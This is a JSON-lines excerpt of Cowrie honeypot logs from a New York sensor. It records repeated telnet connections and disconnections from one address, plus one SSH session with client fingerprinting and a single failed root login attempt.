{"eventid":"cowrie.session.closed","duration":30.412519216537476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.207298Z","src_ip":"204.10.38.242","session":"7c957f3612b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87533712387085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.212758Z","src_ip":"204.10.38.242","session":"b163cbd76870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835465908050537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.228119Z","src_ip":"204.10.38.242","session":"10a647107792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53476,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e54202f5519","protocol":"telnet","message":"New connection: 204.10.38.242:53476 (159.203.135.109:23) [session: 6e54202f5519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.323329Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54928,"dst_ip":"159.203.135.109","dst_port":23,"session":"09dfefeca54b","protocol":"telnet","message":"New connection: 204.10.38.242:54928 (159.203.135.109:23) [session: 09dfefeca54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.515529Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca9a9b51d6f8","protocol":"telnet","message":"New connection: 204.10.38.242:50904 (159.203.135.109:23) [session: ca9a9b51d6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.565764Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41762,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9fc96ec4b7","protocol":"telnet","message":"New connection: 204.10.38.242:41762 (159.203.135.109:23) [session: 9d9fc96ec4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.587421Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55302,"dst_ip":"159.203.135.109","dst_port":23,"session":"a80ffe3649ae","protocol":"telnet","message":"New connection: 204.10.38.242:55302 (159.203.135.109:23) [session: a80ffe3649ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.610239Z"}
{"eventid":"cowrie.session.closed","duration":31.094255208969116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:46.788789Z","src_ip":"204.10.38.242","session":"aec60b8f50dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40705108642578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.067961Z","src_ip":"204.10.38.242","session":"3d89e1a21d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705487966537476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.127214Z","src_ip":"204.10.38.242","session":"3db6e31840c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968061208724976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.176415Z","src_ip":"204.10.38.242","session":"d4fff4c00735","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.561628580093384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.237854Z","src_ip":"204.10.38.242","session":"cfa6ce1293a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.644890308380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.250597Z","src_ip":"204.10.38.242","session":"8798ba1f014c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926973819732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.335874Z","src_ip":"204.10.38.242","session":"caa7ce6caba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384872674942017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:47.370989Z","src_ip":"204.10.38.242","session":"2da539766fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e105e827e6e","protocol":"telnet","message":"New connection: 204.10.38.242:33062 (159.203.135.109:23) [session: 4e105e827e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.047483Z"}
{"eventid":"cowrie.session.closed","duration":30.682135820388794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.136883Z","src_ip":"204.10.38.242","session":"66f7aa798261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467206954956055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.168023Z","src_ip":"204.10.38.242","session":"3e2a52476130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512421369552612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.180484Z","src_ip":"204.10.38.242","session":"41986b9900f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34036,"dst_ip":"159.203.135.109","dst_port":23,"session":"581aee36e06f","protocol":"telnet","message":"New connection: 204.10.38.242:34036 (159.203.135.109:23) [session: 581aee36e06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.344680Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34080,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8be794dc20","protocol":"telnet","message":"New connection: 204.10.38.242:34080 (159.203.135.109:23) [session: ea8be794dc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.349505Z"}
{"eventid":"cowrie.session.closed","duration":30.637285232543945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.428607Z","src_ip":"204.10.38.242","session":"08afea4e68d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35090,"dst_ip":"159.203.135.109","dst_port":23,"session":"89bea5453294","protocol":"telnet","message":"New connection: 204.10.38.242:35090 (159.203.135.109:23) [session: 89bea5453294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.470029Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58884,"dst_ip":"159.203.135.109","dst_port":23,"session":"670593d775a2","protocol":"telnet","message":"New connection: 204.10.38.242:58884 (159.203.135.109:23) [session: 670593d775a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.476472Z"}
{"eventid":"cowrie.session.closed","duration":30.729042530059814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:48.525854Z","src_ip":"204.10.38.242","session":"6f0d3094cc59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37144,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cfb8b2418e","protocol":"telnet","message":"New connection: 204.10.38.242:37144 (159.203.135.109:23) [session: d2cfb8b2418e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.006079Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37516,"dst_ip":"159.203.135.109","dst_port":23,"session":"758be8dc48c0","protocol":"telnet","message":"New connection: 204.10.38.242:37516 (159.203.135.109:23) [session: 758be8dc48c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.109310Z"}
{"eventid":"cowrie.session.closed","duration":31.869168758392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.193157Z","src_ip":"204.10.38.242","session":"007bb165628b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483885049819946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.225094Z","src_ip":"204.10.38.242","session":"4464d88d5bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91950821876526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.231842Z","src_ip":"204.10.38.242","session":"8816ede9bc94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78707480430603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.402178Z","src_ip":"204.10.38.242","session":"84aa72fb513c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128570318222046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.450546Z","src_ip":"204.10.38.242","session":"81db5730671f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39406,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b556bbbe89","protocol":"telnet","message":"New connection: 204.10.38.242:39406 (159.203.135.109:23) [session: 54b556bbbe89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.458205Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35746,"dst_ip":"159.203.135.109","dst_port":23,"session":"434ce3cc4bf3","protocol":"telnet","message":"New connection: 204.10.38.242:35746 (159.203.135.109:23) [session: 434ce3cc4bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:49.619405Z"}
{"eventid":"cowrie.session.closed","duration":30.625593185424805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.078183Z","src_ip":"204.10.38.242","session":"2d5f2cffe3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39402675628662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.156096Z","src_ip":"204.10.38.242","session":"d8bad7c37e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"054db1fd795e","protocol":"telnet","message":"New connection: 204.10.38.242:42552 (159.203.135.109:23) [session: 054db1fd795e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.204621Z"}
{"eventid":"cowrie.session.closed","duration":31.814683437347412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.307558Z","src_ip":"204.10.38.242","session":"54839f374e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43006,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c4c30ee1dcd","protocol":"telnet","message":"New connection: 204.10.38.242:43006 (159.203.135.109:23) [session: 1c4c30ee1dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.329927Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43264,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca982fa74229","protocol":"telnet","message":"New connection: 204.10.38.242:43264 (159.203.135.109:23) [session: ca982fa74229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.376609Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45184,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fae1f293046","protocol":"telnet","message":"New connection: 204.10.38.242:45184 (159.203.135.109:23) [session: 8fae1f293046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.719274Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45422,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cae10f35d4","protocol":"telnet","message":"New connection: 204.10.38.242:45422 (159.203.135.109:23) [session: f8cae10f35d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:50.759683Z"}
{"eventid":"cowrie.session.closed","duration":30.890772104263306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.201793Z","src_ip":"204.10.38.242","session":"c9063c6054dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508544921875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.335335Z","src_ip":"204.10.38.242","session":"be367f8d5100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981321573257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.635138Z","src_ip":"204.10.38.242","session":"f6ba08913ef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":59460,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3519bc101f7","protocol":"ssh","message":"New connection: 171.244.141.86:59460 (159.203.135.109:22) [session: e3519bc101f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.679380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.684257Z","src_ip":"171.244.141.86","session":"e3519bc101f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.55466055870056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.703047Z","src_ip":"204.10.38.242","session":"dddaa2f5869a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198390245437622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.726794Z","src_ip":"204.10.38.242","session":"d4c3846efd65","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:51.933759Z","src_ip":"171.244.141.86","session":"e3519bc101f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.345788955688477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.154247Z","src_ip":"204.10.38.242","session":"2cbfcbe2ceec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701106309890747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.178719Z","src_ip":"204.10.38.242","session":"12fedbea97b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717047214508057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.184862Z","src_ip":"204.10.38.242","session":"f7eb25f9acb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835914373397827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.224576Z","src_ip":"204.10.38.242","session":"9c5c82014787","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.934865951538086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.279326Z","src_ip":"204.10.38.242","session":"0838116dfcce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51870,"dst_ip":"159.203.135.109","dst_port":23,"session":"45a72e23f26c","protocol":"telnet","message":"New connection: 204.10.38.242:51870 (159.203.135.109:23) [session: 45a72e23f26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.308769Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48372,"dst_ip":"159.203.135.109","dst_port":23,"session":"6edd006c1be2","protocol":"telnet","message":"New connection: 204.10.38.242:48372 (159.203.135.109:23) [session: 6edd006c1be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.422422Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"9845c81050ff","protocol":"telnet","message":"New connection: 204.10.38.242:53112 (159.203.135.109:23) [session: 9845c81050ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.513040Z"}
{"eventid":"cowrie.session.closed","duration":31.522449493408203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.545906Z","src_ip":"204.10.38.242","session":"9e6147da31b1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234-abcd","message":"login attempt [root/1234-abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.954048Z","src_ip":"171.244.141.86","session":"e3519bc101f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50510,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c169cb8bea","protocol":"telnet","message":"New connection: 204.10.38.242:50510 (159.203.135.109:23) [session: 24c169cb8bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.959659Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"e32ad705c4f1","protocol":"telnet","message":"New connection: 204.10.38.242:55044 (159.203.135.109:23) [session: e32ad705c4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:52.969133Z"}
{"eventid":"cowrie.session.closed","duration":30.511616945266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.114922Z","src_ip":"204.10.38.242","session":"913eabe3d7f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846781730651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.136975Z","src_ip":"204.10.38.242","session":"c8759ff6ea2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02313494682312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.166508Z","src_ip":"204.10.38.242","session":"dd8677eff085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76293683052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.183074Z","src_ip":"204.10.38.242","session":"7404e6ab6a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77329969406128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.187924Z","src_ip":"204.10.38.242","session":"ec3da9751a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81785750389099,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.238158Z","src_ip":"204.10.38.242","session":"ac29039ddb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56510,"dst_ip":"159.203.135.109","dst_port":23,"session":"c48740e4546f","protocol":"telnet","message":"New connection: 204.10.38.242:56510 (159.203.135.109:23) [session: c48740e4546f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.329270Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56958,"dst_ip":"159.203.135.109","dst_port":23,"session":"662206dea59f","protocol":"telnet","message":"New connection: 204.10.38.242:56958 (159.203.135.109:23) [session: 662206dea59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.373735Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43e827bba01","protocol":"telnet","message":"New connection: 204.10.38.242:58358 (159.203.135.109:23) [session: a43e827bba01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.603176Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59898,"dst_ip":"159.203.135.109","dst_port":23,"session":"030280c3a745","protocol":"telnet","message":"New connection: 204.10.38.242:59898 (159.203.135.109:23) [session: 030280c3a745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:53.956194Z"}
{"eventid":"cowrie.session.closed","duration":30.73010754585266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.042173Z","src_ip":"204.10.38.242","session":"213551586cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.916680097579956,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.140569Z","src_ip":"185.26.126.47","session":"f053006fb1bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.209803Z","src_ip":"171.244.141.86","session":"e3519bc101f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.658734560012817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.284652Z","src_ip":"204.10.38.242","session":"1a5b39c94cc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":32796,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa797903f283","protocol":"telnet","message":"New connection: 204.10.38.242:32796 (159.203.135.109:23) [session: fa797903f283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.294841Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":32782,"dst_ip":"159.203.135.109","dst_port":23,"session":"769178a60868","protocol":"telnet","message":"New connection: 204.10.38.242:32782 (159.203.135.109:23) [session: 769178a60868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:54.300205Z"}
